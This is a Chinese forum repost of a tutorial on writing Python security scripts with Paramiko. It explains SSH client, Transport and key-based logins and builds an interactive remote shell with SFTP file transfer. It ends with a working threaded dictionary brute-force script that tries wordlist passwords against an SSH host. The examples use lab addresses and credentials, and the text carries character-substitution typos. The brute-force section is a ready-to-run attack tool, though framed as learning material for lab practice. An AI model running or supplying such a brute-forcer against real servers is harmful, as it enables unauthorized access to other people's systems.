ToB企服应用市场:ToB评测及商务社交产业平台

标题: python安全脚本开辟四:ssh爆破 [打印本页]

作者: 水军大提督    时间: 2025-1-2 18:59
标题: python安全脚本开辟四:ssh爆破
【原理】:
        ssh是一个协议,OpenSSH是其中的一个开源实现,Paramiko是Python的一个库,实现了SSHv2协议。
        有了Paramiko以后,就可以在Python代码中直接使用SSH协议对远程服务器实行操纵,而不是通过ssh命令对服务器进行操纵。
        paramiko包含两个核心组件:SSHClientSFTPClient
        SSHClient的作用类似于Linux的ssh命令,是对SSH会话的封装,该类封装了传输(Transport),通道(Channel)及SFTPClient创建的方法(open_sftp),通常用于实行远程命令。
        SFTPClient的作用类似于Linux的sftp命令,是对SFTP客户端的封装,用以实现远程文件操纵,如文件上传、下载、修改文件权限等操纵。
        Paramiko中的几个根本名词:
        1、Channel:是一种类Socket,一种安全的SSH传输通道;
        2、Transport:是一种加密的会话,使用时会同步创建了一个加密的Tunnels(通道),这个Tunnels叫做Channel;
        3、Session:是client与Server保持毗连的对象,用connect()/start_client()/start_server()开始会话。

基于用户名和暗码的SSHClient方式的登录

这个代码的缺点是一次只能实行一个命令操纵
  1. import paramiko
  2. ssh = paramiko.SSHClient()
  3. ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
  4. ssh.connect(hostname='192.168.145.140',port=22,username='kali',password='kali')
  5. stdin, stdout, stderr = ssh.exec_command('ls -al')
  6. print(stdout.read().decode())
  7. ssh.close()
复制代码
  
  
为了可以与目标主机保持交互我们
  1. import paramiko
  2. import time
  3. # 创建 SSH 客户端并设置自动添加未知主机密钥策略
  4. ssh = paramiko.SSHClient()
  5. ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
  6. # 连接到远程服务器
  7. ssh.connect(hostname='192.168.145.140', port=22, username='kali', password='kali')
  8. # 创建交互式 shell 会话
  9. shell = ssh.invoke_shell()
  10. sftp = ssh.open_sftp()
  11. while True:
  12.     x = input("Linux:")
  13.     if x.startswith('#exit'):
  14.         break
  15.     elif x.startswith('#upload'):
  16.         try:
  17.             local_path = input("本地文件路径:")
  18.             remote_path = input("上传文件路径:")
  19.             sftp.put(local_path, remote_path)
  20.             print(f"Upload {local_path} to {remote_path}")
  21.         except Exception as e:
  22.             print("Uplaod Failed",e)
  23.     elif x.startswith('#download'):
  24.         try:
  25.             remote_path = input("下载文件路径:")
  26.             local_path = input("本地文件路径:")
  27.             sftp.get(remote_path, local_path)
  28.             print(f"Download {remote_path} to {local_path}")
  29.         except Exception as e:
  30.             print("Download Failed",e)
  31.     else:
  32.         shell.send(x + '\n')  # 发送第一个命令
  33.         time.sleep(1)  # 等待命令执行完毕
  34.         output = shell.recv(4096).decode()  # 接收命令输出
  35.         print("Command Output:", output)
  36. sftp.close()
  37. ssh.close()
复制代码
 通过
  
  1. shell = ssh.invoke_shell()
  2. sftp = ssh.open_sftp()
复制代码
 创建交互式shell,通过sftp实现文件的上传下载

基于用户名和暗码的Transport方式登录

  1. import paramiko
  2. # 实例化一个 Transport 对象
  3. trans = paramiko.Transport(('192.168.12.142', 22))
  4. # 建立连接
  5. trans.connect(username='root', password='com.1234')
  6. # 将 SSHClient 的对象的 transport 指定为以上的 trans
  7. ssh = paramiko.SSHClient()
  8. ssh._transport = trans
  9. # 执行命令,和传统方法一样
  10. stdin, stdout, stderr = ssh.exec_command('df -hl')
  11. print(stdout.read().decode())
  12. # 关闭连接
  13. trans.close()
复制代码



基于密钥的SSHClinet方式登录

        密钥形式登录的原理是:利用密钥天生器的制作一对密钥——一只公钥一只私钥。将公钥添加到服务器的某个账户上,然后在客户端利用私钥即可完成认证并登录。这样一来,没有私钥,任何人都无法通过SSH暴力破解到暗码来远程登陆体系。此外,如果将公钥复制到其他账户甚至主机,利用私钥也可以登录
1.制作密钥对
        起首在服务器上天生密钥对
   ssh-keygen
          接着在服务器上安装公钥
   cat id_rsa.pub >>/root/.ssh/authorized_keys              //id_rsa.pub是天生密钥对时输入的名称
   如此便完成公钥的安装。为保证毗连成功,要确保文件权限的准确
   ┌──(root㉿kali)-[/home/kali]
└─# chmod 600 /root/.ssh/authorized_keys        
                                                                                               
┌──(root㉿kali)-[/home/kali]
└─# chmod 700 /root/.ssh   
  
  1. import paramiko
  2. # 指定本地的 RSA 私钥文件。如果建立密钥对时设置了密码,需指定 password 参数。
  3. pkey = paramiko.RSAKey.from_private_key_file('/root/id_rsa')
  4. # 建立连接
  5. trans = paramiko.Transport(('192.168.12.142', 22))
  6. trans.connect(username='root', pkey=pkey)
  7. # 将 SSHClient 的对象的 transport 指定为以上的 trans
  8. ssh = paramiko.SSHClient()
  9. ssh._transport = trans
  10. # 执行命令,和传统方法一样
  11. stdin, stdout, stderr = ssh.exec_command('df -hl')
  12. print(stdout.read().decode())
  13. # 关闭连接
  14. trans.close()
复制代码
SSH爆破脚本编写

  1. import paramiko
  2. import sys
  3. import threading
  4. from concurrent.futures import ThreadPoolExecutor
  5. is_find = False
  6. def CheckSSH(passwd):
  7.     try:
  8.         ssh = paramiko.SSHClient()
  9.         ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
  10.         ssh.connect(hostname='192.168.145.140',port=22,username = 'kali',password=passwd,timeout=5)
  11.         stdin, stdout, stderr = ssh.exec_command('df')
  12.         result = stdout.read()
  13.         if result:
  14.             sys.stdout.write('[Find]' + '\t' + passwd + '\n')
  15.             global is_find
  16.             is_find = True
  17.             exit(0)
  18.     except Exception as e:
  19.         print(e,"失败!!!")
  20.     finally:
  21.         ssh.close()
  22. filedata = open(r'C:\\Users\Limusi\Desktop\emmm\password.txt',"r")
  23. def run():
  24.     pool = ThreadPoolExecutor(1)
  25.     while True:
  26.         global is_find
  27.         if is_find:
  28.             break
  29.         line = filedata.readline()
  30.         if not line:
  31.             break
  32.         line = line.strip('\n')
  33.         pool.submit(CheckSSH, line)
  34. run()
复制代码

如果字典足够大可以爆破出暗码,但是这样的简易代码也存在着许多的限定,可能会因为防火墙拦截大概是服务器判定暴力攻击而主动断开毗连,

免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。




欢迎光临 ToB企服应用市场:ToB评测及商务社交产业平台 (https://dis.qidao123.com/) Powered by Discuz! X3.4